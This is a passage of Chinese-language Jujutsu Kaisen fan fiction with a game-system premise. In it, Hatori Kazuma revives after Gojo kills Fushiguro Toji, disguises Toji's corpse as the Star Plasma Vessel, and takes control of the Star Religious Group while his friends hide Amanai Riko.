原本充斥在这间薨星宫内的蝇头也逐渐自坍塌的殿顶飞出,散开在高专校内。 似乎引发了大量警报,但那也无所谓了。 五条悟的苍瞳终于自那片血似的晚霞移开,落在濒死的伏黑甚尔身上。 “还有什么遗言吗,惠的爸爸。” 他平淡开口,问出最后一句话。 “……什么啊,原来你认识我的儿子。” 嘴角那道短而深的旧疤被扯动,伏黑甚尔笑起来时,血液自他口中不断涌出。 难怪盘星教那个小鬼,在一开始会想跟他谈判啊。 “连同这具身体在内,把他也交给你随意处置吧。” 做多了杀人的买卖,总有一天会在这里彻底栽倒——这点觉悟他早就已经有了。 伏黑甚尔缓慢闭上了眼睛。 五条悟却仅是平静的将视线自他身上移开,继续望向那道不断朝他涌来的光。 太阳明明快要下山了,这束光芒却仍明亮无比,几乎要刺得他落下泪来。 啊对了,他还有要做的事情。 五条悟迎着那束照进来的光,双手交握在身前,五指相扣—— 在下一次眨眼间,便彻底失去了踪影。 ……… “一真…一真……一真!” 断续的呼唤传入耳中,视野自黑暗逐渐转亮,直至变得清晰。 羽取一真缓慢眨动黑瞳,发现自己仍躺在高专入口的石砖上,不远处是被损坏半边的朱红鸟居。 他这是……复活了吗? 没有死亡惩罚? 也不会从头再来一次? 那么……上周目的死亡坏档,莫非是游戏出了bug? 羽取一真的心底产生无数困惑,却没有一句能找人解惑。 但他身边围着夏油杰和家入硝子……或许是后者的反转术式救了他? 羽取一真撑着地面坐起身时,眼角的余光瞥见那垂落在他颈间的发梢是墨黑色——这意味着[八相轮卡]的功能失效,自己已恢复成本身的样貌。 奇怪,应该不会这么快就到时间才对。 “是硝子救的我吗?” 羽取一真对着家入硝子认真道谢,却换来对方的摇头。 “不是我啊,你自己没有感觉吗?” 家入硝子指着另一边同样制服上有破碎与血迹的夏油杰。 “他,是我治疗的。” ——接着,她又将手指对准羽取一真,摇头。 “你,不是。” “我先赶往被轰出了个大洞、一看就知道战况格外惨烈的薨星宫,在那里救下了重伤的杰。之后他和我说你倒在这里,我们就匆匆忙忙赶过来了……但当我看见你的时候,你的伤势已经痊愈,只是人还昏迷不醒。” 家入硝子解释完后,又补充了一句。 “是不是你在濒死时领悟了反转术式?天赋不错嘛。” ……反转术式? 羽取一真陡然愣住。 在那刹那浮现的意念之间,半透明的【委托】界面已弹出,展现在他眼前。 【教祖大人的指示,已完成。】 这几个端正的、冰冷的字样,却令羽取一真瞳孔轻微颤动着,不敢置信地抬起手——死死拽住夏油杰的衣领。 “悟呢?他怎么样了!” 他的声线也变了,明明沙哑着,却依旧提高音量,完全失去了平日的冷静与淡漠。 不该因为发现对方是伏黑惠的父亲,而伏黑惠未来又会成为悟的学生,就想着先尝试与他谈判的…! 猝不及防下被扯得一个前栽,夏油杰怔了下,不明白一真为什么会从反转术式突然提到悟——但他随即反应过来,赶紧安抚对方。 “悟没事,” 先抛出结论,让羽取一真那明显紧绷到极限的情绪放松下来;接着,夏油杰才语速飞快的作出详细解释。 “我们只在他之前重伤倒地的位置找到了一大片血迹,但现场属于悟的咒力残秽非常浓烈,甚至还有使出威力极大的术式的痕迹,推断薨星宫上那个洞就是他轰出来的……来袭击我们的杀手也被他反杀了,尸体还在薨星宫,我们准备联系高专的人来处理。” “估计是和你一样,也在濒死时领悟了反转术式。” 家入硝子也蹲在旁边补充猜测。 毕竟敌人的尸体都倒在薨星宫了,总不可能还把五条悟的尸体带走吧?那就只能推断成他同样学会能够治愈自己伤势的反转术式了。 “…………” 羽取一真那几乎要失控的理智,勉强找回了一部分。 随即,他抛出另一个问题。 “悟去哪里了?” 在这个问题上,夏油杰和家入硝子动作一致的摇头。 “不知道。” 当夏油杰被赶过来的家入硝子治疗完毕、彻底苏醒时,所见到的仅剩下敌人尸体,以及空荡荡的薨星宫本殿。 夏油杰猜测道:“会不会是去小理子那里确认她安危了?” 假设杀手当真足够谨慎,连黑井美里也会派人跟踪并试图灭口的话,那么天内理子就有危险。 “……不会。” 羽取一真松开攥紧他衣领的手,慢慢摇了下脑袋。 “有七海和灰原在暗地里跟着,出事他们会先打电话求援。何况天内和黑井的藏身点很隐蔽,如果悟在那里现身,反而会招致暴露。” “那他到底会去哪里呢……刚才也尝试过打电话了,没通。” 夏油杰绞尽脑汁片刻还是得不出答案,索性拿出手机又试了一次,依旧无人接听。 “我先打电话联系高专去处理杀手的尸体。” 无奈叹出口气,夏油杰正要按开通讯录,却被羽取一真按住手腕。 “不用打电话,”他说。 “我有个想法。” 就在刚才,游戏在羽取一真眼前弹出了浮窗。 【当前任务:阻止天元同化。】 【阻止天元同化:100/100%。】 【奖励:盘星教经营模块开放。】 【当前职位:盘星教圣子。】 【当前支配度:5%。】 【当前可选经营方向:无。请先提高支配度。】 既然那个[教祖]的任务和委托都被完成了,又解锁了能让他支配盘星教的模块,那么,羽取一真反而不能在这时候选择加入高专阵营。 何况,盘星教是阻止天元同化的罪魁祸首,他这个【盘星教圣子】的身份也已经暴露了,事后照样逃不掉清算。 就连[教祖]也已默许伏黑甚尔将他当作弃子使用了,意味着就算他想要继续留在高专,总监部也未必会保他。 遑论他要是还继续和悟光明正大待在一起,会连累悟也遭至非议。 既然这样,不如就让他将这起事件作为开始撬动[教祖]势力的,最初的那一道裂隙。 面对目露困惑的夏油杰,羽取一真逐字逐句说道。 “我要用[八相轮卡],将伏黑甚尔的尸体模拟成天内理子。” 第140章 听到这句话, 夏油杰有点愣住。 夏油杰恍然大悟。 “你想带去盘星教?那个咒具也能作用在尸体上吗?” 他压低声音问羽取一真。 “嗯,”羽取一真回道,“应该可以用, 至少要先去试一下。” 咒具介绍里没有申明是否只能对活物使用, 那就有值得一试的价值。 比起他回去后仅有口头描述,还是在盘星教众人面前摆出证据要更具说服力。 更别提……他总有种莫名的直觉:失去行踪的悟,应该是去了盘星教。 羽取一真站起身,略微活动了下自己的身体,确定目前已经没有能妨碍行动的伤势。 打开游戏界面看一眼,体力值还没有被补满, 但咒力值已经见底,可能是发动[反转术式]需要的咒力值不足以后, 就自动停止了。 啊, 这也意味着他等会使用[八相轮卡]时, 咒力同样不够。 羽取一真的脚步一顿, 帮忙带路的夏油杰也跟着停下。 通往薨星宫的门每日都在不断变化,但此时此刻, 它已经被五条悟用[茈]开了个夕阳灿烂的天窗,直接从那里进去就可以。 “怎么了?” 夏油杰刚问出口,就见到那双黑瞳转过来,幽幽盯着他。 夏油杰:“……” 他的心底突然生出了一股不妙的预感。 羽取一真:“我的咒力不够了。” 不妙的预感成真了!! 夏油杰嘴角一抽, 干巴巴开口。 “等会给你放一点咒灵。” 话说, 他是不是变成一真的什么咒灵自助银行了?这家伙但凡遇到紧急缺咒力的时候,就能拍一拍他——来, 吐一点咒灵出来…… 但当下毕竟是紧急情况,确实也容不得时间慢慢恢复。 何况,一真和悟能在关键时刻领悟反转术式, 死里逃生,他还是由衷为此松了一大口气。 多亏伏黑甚尔散播出去的大量蝇头,此刻的高专内部到处都在拉响警报,以至于那些后勤人员都在忙着处理这件事情,暂时没有人手能腾出来收殓伏黑甚尔的尸体。 再加上现在是术师四处奔波的忙碌期,以至于在筵山麓遭到伏黑甚尔入侵、又被五条悟轰出一个深坑后,一时间只能派出长期驻守在学校内的家入硝子来查看情况。 而此刻,也方便了羽取一真动手脚。 他的[八相轮卡]总共有八个卡槽,目前花掉三个,分别镶嵌了[黑井美里]、[天内理子]和[五条悟]。 模拟成天内的悟已经变回了原貌,[天内理子]的发动倒计时消失,重新恢复到可用状态。 回到薨星宫时,伏黑甚尔的尸体仍旧倒在原处。 四周静悄悄的,除去少数蝇头在漫无目的的徘徊、发出些翅膀告诉扇动时的嗡鸣以外,再没有任何响动。 自家居所的天花板被开了个大洞,那位天元大人竟然也能坐得住,完全不出来看一眼什么情况。 这个想法仅在羽取一真的脑海里盘旋片刻,便放弃了追究。 算了,反正他也没有和天元对话的想法。 羽取一真看向夏油杰。 被那双黑瞳无声催促着,夏油杰显得格外肉疼,但仍旧一只接一只地放出咒灵,解除术式支配。 羽取一真借夏油杰的咒灵补满咒力,取出那张卡牌——意念微动,人物剪影便被切换至天内理子的模样。 甚至能分辨出头上的纯白丝巾绑带、搭在肩头的麻花辫,以及全套的女子高中生校服。 当他对着伏黑甚尔的尸体发动技能时,灿金光流极配合地盘旋而起—— 待它再逐渐消散之后,出现在三人面前的,便是死去的[天内理子]。 “哇哦……” 第一次看见竟然真有这样彻底改头换面的操作,家入硝子发出声感叹。 “跟着他的那只咒灵去了哪里,被祓除了吗。” 羽取一真仔细打量了[天内理子]片刻,突然察觉到有哪里不对劲。 那是一只极其罕见的,能够在体内储存咒具的咒灵——照理来说,即使它被祓除后消散,也理应有体内的咒具散落在地上。 “……咳,”夏油杰发出声干咳,“我被硝子救醒后,它还没死,所以就……” 吸收了它,连带笑纳了藏在它体内的所有战利品。 如果被高专发现伏黑甚尔拥有的这些咒具,按流程而言,势必要全部上缴。 羽取一真听完回答,突然觉得当时他和[教祖]撒谎是夏油杰私吞了咒物,竟然也能算得上符合人设…… “你有什么需要的吗?”夏油杰主动接着问道。 羽取一真想了想:“暂时没有。” 伏黑甚尔似乎极擅长使用近战类型的冷兵器,但那些都是他平时压根接触不到的,就算给他也用得很生涩,还不如先专心刷高[业双]的熟练度。 切换成双刃形态时,跟上周目[血寄斗枪]那种能自动锁头的远程武器也没什么区别。 他弯腰抱起[天内理子]的尸体,黑瞳又默默看向夏油杰。 要尽快赶去盘星教,没有能飞的代步工具。 夏油杰:“…………” 心累捏了捏鼻梁,夏油杰任劳任怨的又放出鬼蝠鲼咒灵——不算特别大的咒灵挤上了三个人,略显局促,但也没更好的办法了。 体型更大只的虹龙在之前那场乱战中,被伏黑甚尔用咒具祓除了。 他回头去特意找找能载多人飞行的咒灵吧…… “硝子,这里就拜托你了。” 夏油杰低头对家入硝子说道,换来对方笑着朝他们挥挥手。 “放心啦,按照刚才串好的口供,” 家入硝子仍旧是那副恹恹的、提不起劲的口吻,却在此时显得无比可靠。 “我会替你们打掩护的。” 眼见他们的背影迅速远去成无法再辨认的小黑点,家入硝子才收回手,叹了口气。 唉,以后会不会再也见不到羽取了啊。 ……… 盘星教,星之子之家。 那栋恢弘大气的宗教建筑,此刻已被坍塌小半边——往日那呈流线型高翘的弧线房檐同样缺了一截,好似振翅雄飞的苍鹰被硬生生折断了半边翅膀。 制造这片狼藉迹象的人,自然是五条悟。 他还记得一真的真正身份——盘星教圣子。 但五条悟也没有忘记,一真对待受伤轻描淡写的态度,强行压给他任务又被当作弃子……以及,对非法暴力与威胁的无比习惯。 这一切,都是盘星教带给一真的。 他自然也要回敬给盘星教。 杀死一真的伏黑甚尔已经被他杀了,驱使伏黑甚尔的盘星教怎么能缩在背后,安然无恙。 至于一真的尸体……那双好似无光琉璃的苍瞳微微一颤,不愿意去找,不愿意去看,不愿意去面对。 在此刻,唯有一件事是确定的。 天元同化在盘星教的干涉下失败,咒术界此刻必定乱成一团,他要趁此机会找到盘星教的领头人,挖出那个只会躲在最深处下命令的家伙—— 然后,杀掉。 五条悟独自站在矗立于广场上的其中一座高大石碑的顶部,望着底下那群仓惶逃窜的教徒。 盘星教有很多处分会,只有【星之子之家】在东京。 在他刚才瞄着建筑物打了一发[茈]过去后,里面的人全部都被吓得跑了出来。 五条悟要在这些人之中,找到那个必定有护卫环绕、地位最高的家伙。 或许那人仅是这处分会的法人代表,而非盘星教的最高掌权者。 但没关系,他可以挨个问过去。 五条悟观察了一会儿,没有看起来地位比较高的教徒。 于是,他平静抬起手,并拢二指,由大拇指压着,屈起,蓄力,就在赤红与苍蓝的光芒即将碰撞之时—— 那双冰冷似霜寒的苍瞳骤然睁大,一点一点转动着,朝某个方向望去时,逐渐露出难以置信的情绪来。 没有术师能感知到如此遥远距离的咒力,但[六眼]可以。 那股再熟悉不过的咒力气息,正在朝他迅速靠近! 是一真吗,他还活着? 太好了,他活着。 五条悟缓慢眨了下苍瞳——就好似直至此刻才敢眨眼——接着,他转头看了眼往这边眺望的教徒,双手扣拢。 虽然五条悟此刻尚不清楚羽取一真的打算,但头脑敏锐的他依旧能够察觉到关键。 刚对星之子之家分会造成大面积破坏的自己,绝对不能当着如此多教徒见他。 ——在[苍]发动连续短距离瞬移后,夏油杰驱使的那只鬼蝠鲼咒灵,转眼间挤上了四个男性的体重。 “!!!” 夏油杰更是没想到五条悟会突然出现在鬼蝠鲼咒灵上,骤然多出来的重量使他险些操作失控,酿成坠机惨剧。 好在他勉强控制着咒灵滑翔了一段距离,在一处偏僻角落里有惊无险的成功降落。 ……他真的该去搜寻一只能载重多人的飞行咒灵了! “悟!” 唯有羽取一真那双晦暗的黑瞳终于亮起,仿佛直到此刻,这具身体才真正拥有了生命力。 [六眼]极快的扫完羽取一真的身体状况,又在对方怀抱里的[天内理子]尸体上停顿一秒,五条悟这才彻底松懈那根紧绷神经似的,朝他露出一个似安抚似惊喜的笑意。 “你怎么知道我在这里?” 这个问题让羽取一真有点卡壳——认真思索之后,才开口道。 “可以说是直觉……也可以说是脑海里的灵光一现……” 这么说可能有点自大,但在醒来只看见夏油杰和家入硝子那时候,羽取一真内心莫名认定—— 悟是去为他清算敌人了。 至少……应该有一半的原因是为了他吧? 羽取一真又变得有点迟疑起来,甚至不明白自己之前为何如此笃信悟在这里。 幸好,他确实在这里找到了悟。 而五条悟,同样在看见[天内理子]尸体被他横抱在怀里的那一刻,就明白了羽取一真接下来想做的事情。 “要分开了吗?” 那双冰似的苍瞳已重新柔软下来,甚至浮现出些许细碎的不舍。 羽取一真不可能继续留在高专上学了。 不仅是他的圣子身份问题,还有天元同化失败这件事,必须要有人收尾。 在一真没有将伏黑甚尔的尸体模拟成天内理子之前,他们还可以让伏黑甚尔及委托他的盘星教来背下一切后果。 但如今,伏黑甚尔的尸体被另做他用,就意味着一真必须要变成收尾的人。 以后都要见不到了吗。 五条悟心底那份沮丧的情绪尚未升起,视野里却见到对方朝他伸出手——自两侧绕过身体——朝内圈紧。 “……!” 被抱了个满怀。 羽取一真将[天内理子]暂且放在地上,主动上前一步,抱住了五条悟。 甚至在身高相仿的情况下,他可以轻轻用额头贴着五条悟的额头,动作极为亲昵。 “马上就能再见面的,相信我。” 羽取一真低声开口。 “我们不会分开,即使是死亡也不行。” 140-150 第141章 当羽取一真抱着[天内理子]的尸体, 从容踏入【星之子之家】这座已经垮塌小半边的主殿时,尚留在内部的教徒们慌神了片刻,还以为是敌人攻入进来。 但随即, 他们发觉是圣子大人带着已死的星浆体归来——既是指, 阻止天元大人同化的目标被圣子大人完成了! 啪。 啪啪。 啪啪啪。 自第一声、第二声开始,争先恐后的掌声热烈响了起来,好似在欢祝这份信仰的胜利。 “是我们赢了!” “圣子大人做到了!” “圣子大人没有让星浆体与天元大人同化!” “噢噢,我等信仰的天元大人终于得以恢复纯粹之体!” “外面的敌人也必定是圣子大人消灭的!” “…………” 在那一句接一句的高呼之中,更多身着白袍的信徒朝羽取一真与[天内理子]包围过来,宛若簇拥着坠落星辰的无数摇曳夜草。 他们在庆祝盘星教的胜利, 在歌颂教祖与圣子的伟大,热烈掌声好似落起了阵无穷无尽的雨, 喜悦的气氛洋溢在这间尚且完好的地下避难所里。 羽取一真始终没有任何表情, 黑瞳半闭半睁着, 望着不知名的方向。 这间避难所里的白炽灯安得太多了, 太过明亮,太过刺眼。 看不见湛蓝的晴空。 但即使羽取一真仅是平静站在众人围拢过来的中心处, 也没有回应教徒们哪怕一句话——在他们看来,这亦是理所应当属于圣子大人的淡漠神性。 高高在上,独一无二。 “一真?” 有人喊了羽取一真的名字,他便顺着声源望过去, 是同样穿着白袍的酒见绫子。 她挤开了那群围在羽取一真身边的教徒, 来到他身边。 “嗯。” 羽取一真的黑瞳终于有了落点,“园田理事呢?” “会长早就避难去了, 外面那个白发的……是五条悟吧?就在他对着另一处设施发动袭击的时候。” 盘星教的分会很多,每一处分会的各种活动场所同样不少。 哪怕东京只有【星之子之家】这个分会,都内同样分布有好几处设施——五条悟就是先随机炸了另外一处, 才通过那边的最高话事人问到园田茂所在的【星之子之家】大本营。 “那个五条悟,是来寻仇的吗?” 即使从未没见过面,酒见绫子好歹也从杂志、唱片宣传海报和各种视频剪辑里见过五条悟的样貌。 在他刚露面时,还引发了教徒的小范围骚动。 “毕竟我们不仅害他的任务失败,还杀死了星浆体。来寻仇也是理所应当吧?你们反而该庆幸咒术界有着术师不能对普通人出手的规矩才是。” 羽取一真淡淡开口,有点遗憾园田茂已经逃走了。 不过,问题也不大。 “还好还好……” 听到星浆体真的被羽取一真成功杀掉,酒见绫子深吸口气,随即又放松下来,露出一个如释重负的笑容。 太好了,如此一来,她不仅能在教祖大人洗脱嫌疑,连分会理事的位置也有望了! “既然会长不在这里,你来组织大家清理废墟,救助伤员。” 羽取一真顺势给酒见绫子下达指令。 “另外,帮我联络教祖大人。” ……… 残阳尚未彻底落尽时,[教祖]接到了来自【星之子之家】那边的联络请求。 真令人意外,他在此前二度尝试皆宣告失败,还以为这次也会是以同样的结尾收场。 结果在最后成功[阻止天元同化]的,竟然并非是[天与咒缚],而是[十方摩诃]吗? [虎杖香织]露出微笑。 “我要夸奖你。” 她温和开口,让处理过的声线自手机中传出,响起在仅有酒见绫子与羽取一真所在的会议室里。 “不愧是我指名的【圣子】,你相当出色地达成了我的期望。” 听到这十分女性化的语式,以及难以分辨性别的机器声线,酒见绫子瞪大眼睛看向黑发少年的侧脸—— 见鬼了,他之前说的竟然是真的! 羽取一真半点视线也没有分给酒见绫子,而是刻意用一种相当恭谨的声音回应道。 “承蒙夸奖,我已将[星浆体]天内理子的尸体带回,有万千教徒亲眼所见。” ——他停顿片刻,再开口时的声音低沉些许,又掺进几分懊悔与不甘的情绪。 “我同样杀死了五条悟,但他在濒死时领悟反转术式,不仅险些反杀我成功,更是一路追到盘星教……” 羽取一真将他和悟在拍单曲唱片MV中被指导过的半吊子演技,努力地全部发挥出来。 至少看旁边酒见绫子明显相信了这套说辞的表情,他应该演得挺成功。 “反转术式啊……[六眼]还真是个怪物,无论哪个时代的都是。” 手机里传来一声轻笑,[教祖]没有责怪羽取一真在杀死五条悟这件事上的失败。 或许是他自身同样有过尝试,或许是他始终关注着【星之子之家】这边的动静,能从血迹斑驳的破碎衣衫推断出他必定受过致命伤。 “那位被盘星教委托的[天与咒缚]呢?” “已经死了,五条悟杀的。”羽取一真面不改色回道,“在[茈]的恐怖威力下,近乎尸骨无存。” 他还以为这个[教祖]十分看重伏黑甚尔,没想到对方仅是随口一问,很快便略了过去。 “这样说来,一真是此次计划能成功的关键功臣。我该如何奖励你呢?” 手机传来的声音产生些微波动,似乎在试探羽取一真的想法。 “希望您将盘星教的经营权开放给我。” 沉吟片刻,羽取一真回答道。 “盘星教插手阻止了天元同化,这是足以动摇咒术界根基的大事件,必定会招致报复——即使咒术界不会对普通团体出手,盘星教也可能会面临就此解散的结局。” “我身为咒术师,也会被打上诅咒师的烙印,被整个咒术界追杀。” “而您又不方便出面,这点世俗的事务也不值得您劳心。” 羽取一真的口吻坚定而沉稳,将此次大事件后续可能会发生的局势展开,娓娓道来。 “因此,我希望能自您这里得到率领盘星教的准许,对抗整个咒术界。” 酒见绫子倒吸一口凉气,不敢置信等着羽取一真——就好像听到了疯子在大言不惭。 但若是跟着他的思路去推测,却又说得不无道理。 五百年一次的大事件被盘星教阻止,倘若不会受到任何报复,能让他们继续安稳的发展下去,才是荒谬。 电话对面,许久都没有动静。 在衡量利弊吗,或许对于这个[教祖]而言,盘星教也仅是达成他计划的手段之一,是枚好用的一次性棋子。 只要达成了此次目标,哪怕就此放弃也没什么好心疼的。 但羽取一真也在赌——按照自上周目经历中获得的些许线索,这个[教祖]的目标绝不止到阻止天元同化就结束。 那么,他特意带[天内理子]尸体回来的这份投名状,到底成不成功……就在此一举。 会议室的隔音极好,即使外面是教徒来来往往奔忙的动静,此处仍然极度安静,仅有悬在头顶的灯泡因电流不稳定,不时响起轻微的滋滋声。 “可以啊。” 良久,这部已工作至发烫的手机终于响起回应。 “就交给你吧,将这个盘星教。” [虎杖香织]微笑开口,就此敲定了羽取一真未来在盘星教的地位。 “要好好表现喔,一真。” ……… 五条悟与夏油杰返回高专后,按照已事先商量好的说辞,将各自的经历写成报告,交了上去。 这次[天元同化]的失败,被归咎于盘星教早有预谋,其教内圣子——羽取一真提前潜伏进咒术界,骗取咒术界信任,并于同化的关键时刻成功杀死[星浆体]。 高层为此商量许久,又分别让五条悟、夏油杰及家入硝子来到总监部,再度进行一次口述报告后,终于作出如下决议。 【一、判定羽取一真为诅咒师并发布通缉,可将其就地处刑。】 【二、将非术师宗教——盘星教列为危险宗教团体,从普通社会层面进行打压。】 【三、向咒术界隐瞒天元同化失败的后果,对外宣称天元依旧稳定。注:此条不可外传。】 “——呼,差不多就是这样。虽然后续还有一点尾巴,但和你们已经没什么关系了。” 五条悟往后一倒,翘着二郎腿靠坐在这张略显老旧、但被打理得相当干净的沙发上。 视线往旁边一瞥,顺手又扯过来个抱枕在怀里,姿态随意极了。 夏油杰则相当端正的坐在另一张单人沙发上,望着五条悟的目光十分无奈。 “注意礼仪啊,悟。” 来别人家里做客,却摆出一副回到自己家里的架势……他完全做不到。 “欸——有什么关系啦,反正大家都已经很熟了嘛。” 五条悟一歪脑袋,连带语气都相当无所谓的开口。 “再说我们这次来,也是为了让天内和黑井放宽心嘛——啊,难倒惠和津美纪会介意?” ——没错,他和一真当时为天内理子及黑井美里找到的安置点,就是位于琦玉的伏黑家。 既然御三家之一的禅院家没发现伏黑惠是属于禅院家的直系血脉,就意味着咒术界那边并不知道有这么个孩子住在这里。 而对于普通社会而言,位于偏远旧宅地段的伏黑家,不过是无数在贫困中挣扎生计的、微不足道的其中一户罢了。 用来作为需要隐瞒身份的天内理子与黑井美里的落脚处,再合适不过。 另外,五条悟还自掏腰包了一笔费用,既能让黑井美里照顾津美纪和惠的生活起居,也足以养活她和天内理子。 毕竟年长的黑井拥有丰富的养孩子经验,自身武力又足以应付一般暴徒,可以帮忙看护这对才不过五六岁的姐弟,不至于让他们过早负担起维持家庭的重任。 “不会啦,我跟惠都相当欢迎!” 在习惯性板着脸的伏黑惠还没有出声前,伏黑津美纪已经非常雀跃的开心拍手回道。 “理子姐姐和黑井阿姨能愿意住进来,我们好高兴!” 何况按照黑井阿姨的说法,这也是悟哥哥希望她能来顺带帮忙照顾她和惠。 不过,可别小看她啦,这些支出她有记在日记本上,等以后有经济能力了,就会全部还给悟哥哥的! 伏黑津美纪在心底暗暗握拳。 而且,惠在愣神了一会儿后,也表示他同样会和她一起还哦! “啊,得给天内和黑井另外做个假身份了,” 五条悟看向正在小心翼翼挑起羊羹的天内理子,把后者小小惊了下——好不容易叉起的羊羹噗叽一声,重新滑落回碟子里。 “你应该还想要继续上学,绑带加麻花辫的打扮记得换一下哦。” “放心放心,黑井早就和妾身……不对,和我说过了!” 天内理子一拍胸口,以往喜欢在他们用的[妾身]自称,也逐渐开始有意识的改口。 她将彻底抛弃[星浆体]的身份,作为一个平凡的、普通的少女,继续生活在这世上。 “以前的学校是不能去了,我会转学到附近的浦见东中学啦。” 见天内理子依旧这么活力满满,夏油杰也笑了起来。 “那就好,我和悟会时常过来看望你们的。” 他说完这句话,却发现如今住进伏黑家的四人都是一怔,神情有些踌躇起来。 夏油杰疑惑:“嗯?怎么了?” 伏黑津美纪小声开口:“一真哥哥呢,他不会再过来了吗?也不能和悟哥哥在一起了吗?” 她的神情沮丧极了。 毕竟,她一点也不觉得一真哥哥是坏人,同样很希望以后能经常见到他。 ——在夏油杰还不知道该怎么回答前,五条悟抢先说道。 “一真很快就会回来,” 他的声音笃定而有力,连带神情亦是一如既往的自信、骄傲,是百分之百交付给羽取一真的信任。 “因为,他向我保证过了。” 第142章 在酒见绫子的见证下得到[教祖]的放权, 羽取一真对于盘星教的支配度立刻抬升了一大截。 至少再打开盘星教经营界面时,不再显示无可选经营方向。 【当前职位:盘星教圣子。】 【当前支配度:51%。】 【当前可选经营方向:贸易、科技、旅游、农业、宗教。】 由于这次接手的是宗教团体,里面多增加了一个宗教类别。 看了眼描述, 大体包括售卖护身符、绘马和御神签等相关物品, 出租盘星教拥有的不动产,以及收取信徒在宗教建筑内住宿的费用之类,基本上都是非营利性业务。 是因为宗教法人能在这些收入上免税吗…… 羽取一真沉吟片刻,先关闭窗口。 他还不了解盘星教当前的经营状况,可不能闭着眼睛乱选。 跟[教祖]的通话也结束了,酒见绫子小心地收起那部手机, 望向羽取一真的眼底满是期待。 此后的【盘星教圣子】,已不同于曾经那仅比吉祥物强一点的存在——他变成了名副其实的教祖之下第一人。 早早站队成功的她, 自然开始畅享对方曾经许诺给她的权利。 但羽取一真仅是平静朝她望来, 那双黑瞳没有浮现任何激动或欣喜的情绪波澜, 似乎根本不将这些世俗地位放在眼里。 酒见绫子怔了片刻, 条件反射低下头。 黑发少年的心性远比她要沉稳太多,难怪能够在咒术界成功埋伏到最后一刻都没被发现…… 酒见绫子在心底默默想着, 甚至为刚才急不可耐的自己感到些许羞耻。 “结果比我想象得还好。” 这时,酒见绫子听见羽取一真开口,伴随着视线的压力一道沉沉朝这边袭来,令人生不起丝毫反抗的心思。 奇怪, 她之前明明还觉得对方只是个过分早熟的少年, 除此之外也没什么特别大不了的特质……为什么现在对方再出声,她却觉得圣子大人的每一句话都是如此威严而庄重, 值得她拼尽全力的去完成? 但酒见绫子来不及多想,身心都升起一股难以反抗的冲动,要她必须将羽取一真的一字一句都记在心里。 “仅仅只是【星之子之家】的分会理事, 就能够满足你吗?” 酒见绫子:“是……欸?” 她茫然抬头。 原本以为羽取一真要履行当时的承诺,却没想到对方说出了这么一句。 “到时我的事务繁忙,没有精力管理所有分会,也不可能每个人都去接触。” 在酒见绫子听来,就是羽取一真想要保持【圣子】身份的超然神性,就必不可能每件事都亲自去做。 例如像【教祖大人】那样,只需要通过式神或通讯设备下指令就足够了,外界自然会有代行者替他四处走动,达成计划。 羽取一真如今身为掌握实权的【圣子】,虽然不至于也完全不露面,但确实不能再像以前一样。 “确实如此……” 酒见绫子越想越有道理,完全不清楚羽取一真其实只是懒得管那些琐碎的杂事。 就像一周目前找加茂长吉、后找加茂乃吉那样,羽取一真也得在盘星教给自己找个干活顶用的助理。 而当他翻了翻游戏里目前显示出来、且他认识的盘星教人员列表时,发现无论是盘星教经营界面的忠诚度,还是个人对他的好感度,都是这位酒见绫子最高。 先选她试试,不行再换。 “你,想成为圣子对外的代言人吗?” 羽取一真不急不缓开口道。 在能够统领所有分会的前提下,他说出的每个字都极具诱惑力。 “我、我可以?” 酒见绫子睁大眼睛,惊喜的看着羽取一真轻轻点头,再次给予她肯定的回应。 “倘若你不愿意,我就去找园田茂。” “我很愿意!” 酒见绫子豁然起身,生怕他反悔似的,立即朝羽取一真鞠了个九十度的直角躬。 “请圣子大人放心,我必不辜负您的期望!” 不愧是支配度提高的结果,对忠诚度越高的盘星教人员,效果就越明显。 羽取一真又来回翻了下那份盘星教名单,觉得应该不止这么点人。 应该是他还没见过。 “嗯,我一直都很看好你。虽然教祖大人让我找孔时雨帮忙,但我觉得你也同样能够胜任这个任务。” 羽取一真轻描淡写的一句夸赞,就让酒见绫子在心底暗自欢喜起来。 “现在需要我做什么?”她迫不及待问道。 “先将各个分会的会长、代表董事或者法人……嗯,基本上就是一些主要的负责人,都叫到这里来。” 羽取一真想了想,“有坐得下他们的房间吗?” “有。礼拜堂没有被破坏,那里就算几百号人也坐得开。” 酒见绫子点头说她需要几天时间安排后,困惑又问了一句。 “为什么要把他们喊来?” 这次,羽取一真没有回答她。 ………… 数日之后,礼拜堂。 虽然被称为“堂”,但它被修筑得极为宽敞,在正前方搭建出一个加高的木制讲台,身后的墙壁则挂有一面巨大的盘星教旗帜。 太过明亮的白炽灯光自头顶倾泻而下,甚至令羽取一真感觉有些刺眼。 按照他的要求,被酒见绫子邀请来的人都是各个分会的主要负责人,年龄大多在四十岁上下,朝讲台看过来的神色各异,都有着自己的小算盘。 羽取一真的【盘星教圣子】头衔自进二周目之初就有,可他始终没有真正以圣子身份活动过,教祖也从未给予他真正的权力。 因此,这些在社会地位上都颇有些体面的中年人,在收到酒见绫子通知的第一反应是质疑。 若非酒见绫子也好歹是在盘星教称得上有名有姓的老人,又在【星之子之家】的园田理事身边工作多年,他们甚至不可能真的推掉其它事务,特意赶来这里。 可即便如此,站在讲台上的那位黑发少年在这些人眼中,也不过是个稚气未脱的小鬼罢了。 顶多算个会招手的吉祥物。 “教祖大人怎么可能让这个毛头小子成为我们的领导人?” “我听说就是他成功阻止天元大人被同化……” “那倒也说得过去。” “但他还太小了吧,有没有成年?” “可笑,肯定是有人帮他。” “话说他不是去年去过演唱会的那个谁吗?” 底下传来了窸窸窣窣的动静,被评头论足的羽取一真隐约听到了几句,但他的神情依旧淡然且从容,屈指轻敲了下话筒。 一瞬间传递至整间礼拜堂的杂音,足以令这些人都闭嘴。 接着,羽取一真才出声宣布。 “遵照教祖大人的口头指示,从今天开始,”他说,“盘星教归我羽取一真全权管理。” 下一句话还没说出口,立刻就有人拍桌抗议。 按照羽取一真的吩咐,酒见绫子安排人在礼拜堂摆了数张桌椅,方便这群负责人按照所属分会,各自围坐成一桌。 “我反对,” 那人说话铿锵有力,提高的音量足以令在场所有人都听见。 “并非我们不信任教祖大人的安排,而是你的年龄与阅历尚且不足,一来就全权管理整个盘星教,实在令人担忧。不如先花几年时间沉淀一下,学习相应的管理课程如何?” 他这话说得很巧妙,既没有直接反对教祖的安排,也没有让羽取一真下不来台,而是打算先拖延几年,劝他去读完几年课程再来担任这个职位——合情合理,无法反驳。 即使有51%的支配度,也不够做到让众人无条件支持他啊。 ……算了,本来也没觉得能省下这笔支出。 羽取一真微微挑起单边眉梢。 